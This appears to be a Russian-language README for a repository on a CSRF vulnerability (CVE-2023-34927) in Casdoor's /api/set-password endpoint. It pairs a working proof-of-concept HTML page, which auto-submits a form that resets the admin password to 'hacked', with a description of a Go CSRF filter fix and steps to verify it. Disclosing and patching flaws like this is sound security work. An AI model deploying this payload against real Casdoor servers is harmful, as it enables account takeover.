
Доказательство концепции CSRF-эксплойта для конечной точки `/api/set-password` в Casdoor (CVE-2023-34927), позволяющее несанкционированно изменять пароль через межсайтовые POST-запросы. Включает исправление CSRF-фильтра на основе Go.
Summary
/api/set-password, позволяющая изменять пароль без согласия пользователя.Impact
built-in/admin), что приведёт к захвату учётной записи.Attack Prerequisites
casdoor_session_id./api/set-password.Proof of Concept
<html>
<form action="http://localhost:8000/api/set-password" method="POST">
<input name='userOwner' value='built-in' type='hidden'>
<input name='userName' value='admin' type='hidden'>
<input name='newPassword' value='hacked' type='hidden'>
<input type=submit>
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
</script>
</html>
Root Cause
/api/* принимают запросы с cookie-аутентификацией без проверки same-origin (Origin/Referer) и без CSRF-токенов.Fix Overview
/api/*.Authorization, Basic auth, client credentials или accessToken) или запросы без браузерных сессионных cookie (обычные вызовы «сервер-сервер»).Implementation
routers.CSRFFilter, реализованный в csrf_filter.go. Этот фильтр:
How to Integrate into Casdoor
csrf_filter.go в существующий пакет routers проекта Casdoor. Не изменяйте и не удаляйте ничего в этом файле.main):
// Beego v1 style
beego.InsertFilter("/api/*", beego.BeforeRouter, routers.CSRFFilter)
// If your project uses Beego v2 and imports as `web`:
// web.InsertFilter("/api/*", web.BeforeRouter, routers.CSRFFilter)
Verification
Unauthorized operation, а сервер должен записать в журнал CSRF check failed.Authorization или параметры accessToken, должны продолжать работать.Repository Files
csrf_filter.go: CSRF-фильтр для копирования в пакет routers проекта Casdoor.poc.html: Минимальная страница, воспроизводящая CSRF-атаку.README.md: Этот документ с описанием уязвимости и шагов по исправлению.References
Video